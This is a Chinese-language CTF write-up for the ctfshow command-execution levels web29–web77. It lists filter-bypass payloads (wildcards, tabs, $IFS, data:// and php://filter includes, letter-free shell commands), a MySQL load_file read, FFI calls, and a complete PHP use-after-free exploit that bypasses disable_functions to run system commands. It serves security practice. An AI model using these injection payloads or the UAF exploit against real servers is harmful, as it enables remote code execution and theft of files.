ctfshow命令执行
web29
过滤了flag,两种做法:
?c=system('cat fla?.php');
?c=system('cp fla?.php 1.txt');
问号可以作为占位符替代单个任意字符绕过过滤(和正则表达式不完全一样哦)。
system(‘’);可以执行系统命令,是eval的好伙伴,记得句尾加分号。
web30
在29的基础上过滤了system和php
引入知识是反引号`可以代替system函数,只不过它没有回显。(exec和反引号一个效果)
1 | ?c=`cp fla?.?hp 1.txt`; |
这是在能往里写新文件的情况,如果不能写的话也可以输出反引号执行的结果的:
1 | ?c=echo `tac fla?.?hp`; |
使用echo函数就可以啦。
web31
在30的基础上过滤了cat sort shell . 空格和单引号
过滤了太多东西,尝试参数逃逸
?c=eval($_GET[A]);&A=system('cat flag.php');
也可以不参数逃逸,继续老思路:
1 | ?c=echo%09`tac%09fla???hp`; |
%09是制表符,用来代替空格。
web32
在31的基础上过滤了反引号、echo、分号和左括号
逃避分号过滤可以加php闭合标签?>(php最后一句话可以不加分号),但是还过滤了左括号,可以使用文件包含来过滤
测试能否读?c=include%0a$_GET[A]?>&A=/etc/passwd
成功后构造payload:
?c=include%0a$_GET[A]?>&A=php://filter/convert.base64-encode/resource=flag.php
在这里使用了文件包含,推荐阅读这篇文章的总结:好康的
这里的伪协议是用来对文件进行base64编码并且读取的
(注意命令闭合以及%20并不能绕过空格过滤)
web33
在32的基础上过滤了双引号,32的思路仍然可用
尝试文件包含的另一个函数
测试能否读?c=require%0a$_GET[1]?>&1=/etc/passwd
?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
require和include功能相同,只是它的错误处理会直接生成致命错误并且停止脚本,incldue只生成警告
web34
在33的基础上过滤了冒号,32和33的思路仍然可用
web35
在34的基础上过滤了左尖括号和等于号,32、33和34的思路依然可用
web36
在35的基础上过滤了数字,32、33、34和35的思路依然可用
web37
从这里开始题目就从eval变成include了
过滤了flag
使用data伪协议试一下
?c=data://text/plain,<?php phpinfo()?>
可以执行哦!
?c=data://text/plain,<?php system('cat fla?.php');?>
data伪协议可以传递数据,不过也可以用来执行邪恶的php代码
web38
在37的基础上过滤了php和file
?c=data://text/plain,<?=system('cat fla?.ph?');?>
这个标签等价于上面的哦,一种小技巧
web39
过滤了flag,但是加了后缀.php
测试一下?c=data://text/plain,<?php phpinfo()?>
发现成功执行,只是.php被加在了末尾,做法同上。
web40
?c=eval(array_pop(next(get_defined_vars())));
post需要传入1=system('cat flag.php');
这里是什么意思呢,我们从里往外看
get_defined_vars是返回当前环境下所有已定义的变量,环境变量、服务器变量和用户的都有(get、post都是)。
next是将内部指针指向数组中的下一个元素,并输出。(这里就指向了post的内容)
array_pop是删除数组中最后一个元素并返回值。
web41
上来就过滤了大小写字母和数字,以及异或符号^,但是保留了或|,可以用或构造出数字和字母来执行命令,推荐观看b站的ctfshow官方视频。
web42
system($c." >/dev/null 2>&1");
首先,shell中存在三个文件描述符123,分别代表标准输入、标准输出和错误输出,这里的2>&1代表将错误输出定位到标准输出。
然后,>/dev/null代表将标准输出扔进黑洞去(好像是linux的一个彩蛋,消息扔进null)
所以这句话就代表我们所有正常执行的命令都没有回显。
payload如下
1 | ?c=ls;ls |
这样代码就变成了system(ls;ls." >/dev/null 2>&1");
分号前的命令就可以正常执行啦!
(准备在shell中尝试ls;看看结果)
(分号代表分割符,先执行第一个然后立即执行第二个)
web43
和42大体相同,但是分号被过滤了!
1&&2
在shell中代表先执行1命令,1成功后执行2,也可以当作分割符。
1 | ?c=tac flag.php%26%26ls //&进行url编码 |
web44
多过滤了flag,老生常谈的通配符
?c=tac fla?.php%26%26ls
web45
多过滤了空格,可以使用水平制表符,tab是%09,充当分割符
1 | ?c=tac%09fla?.php%26%26ls |
据尝试回车和换行都没用哦
web46
上一个payload还可以用的
遇到的问题是没有对&&进行url编码,其实是因为这个符号可以当get传参的分割符,所以是需要编码的。
web47
同45
nl用来给文件标记行号并显示
head默认显示文件头十行
sort默认按字母顺序排序文件的行并且输出
more和less也用来查看内容
web48
同45
tail是head的逆
sed是流式文本处理工具,也可以查看文件 sed “” example
cut命令是从文本中提取指定字段的,也可以查看文件
awk也是文本处理工具,查看文件用 awk “{print}” test
strings是用来从二进制文件中提取可打印的字符的,也可以查看文件
od是用不同进制显示文件内容的工具 od -c example
web49
同45
web50
?c=nl<fla''g.php%7C%7Cls
shell特性,会忽略这两个单引号和里面的内容
||代表或,第一条命令执行成功后第二条不执行
web51
同50
web52
?c=nl${IFS}/fla?%7C%7Cls
${IFS}是Linux环境变量,表示字段分割符的,充当空格或制表符的作用在这里。
web53
同52
system函数返回值是执行结果最后一行
web54
mv${IFS}fla?.php${IFS}z.txt
改名后直接访问
web55
丧心病狂,把字母都ban了,两种做法。
?c=/???/????64 ????.???
实际上是/bin/base64 flag.php
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
很神奇喵
最大的教训是Linux执行命令是这样的
. example#需要有空格
web56
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
类似于补码的原理,0和-1相对,1和-2相对,那么36就和-37相对
$(())
表示0
$((~$(())))
表示-1
所以先找出-37,然后取反拿值,得到36
web57
system和``都被ban了,没法执行命令,尝试文件包含。
c=highlight_file('flag.php');
web58
同57
web59
同57
web60
同57
show_source和highlight_file一样的
web61
同57
web62
同57
web63
同57
web64
同57
web65
同57
web66
不在flag.php,那就扫一下目录
c=print_r(scandir('/'));
发现存在flag.txt
c=highlight_file('/flag.txt');
web67
print_r被ban了,但是flag位置没变
web68
搞笑的是index.php里面应该有highlight_file,结果出题把highlight_file给ban了,进去就是一个报错。
既然highlight_file和show_source被ban了,那就试试include吧
c=include('/flag.txt');
web69
c=var_export(scandir('/'));
var_export是用来返回变量类型和内容的。
新姿势,其余同68。
web70
同68。
web71
1 |
|
ob_get_contents()是得到输出缓冲的内容。
ob_end_clean()是清除输出缓冲的内容并且关闭输出缓冲。
c=include('/flag.txt');exit(0);
web72
用glob伪协议绕open_basedir
1 | c= |
flag0.txt
没有权限访问,用脚本绕
<?php function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?>
web73
根目录下直接include
web74
scandir被ban了,用glob
然后include
web75 76
c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web77
先用glob扫目录
然后ffi拷文件
1 | c=$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 |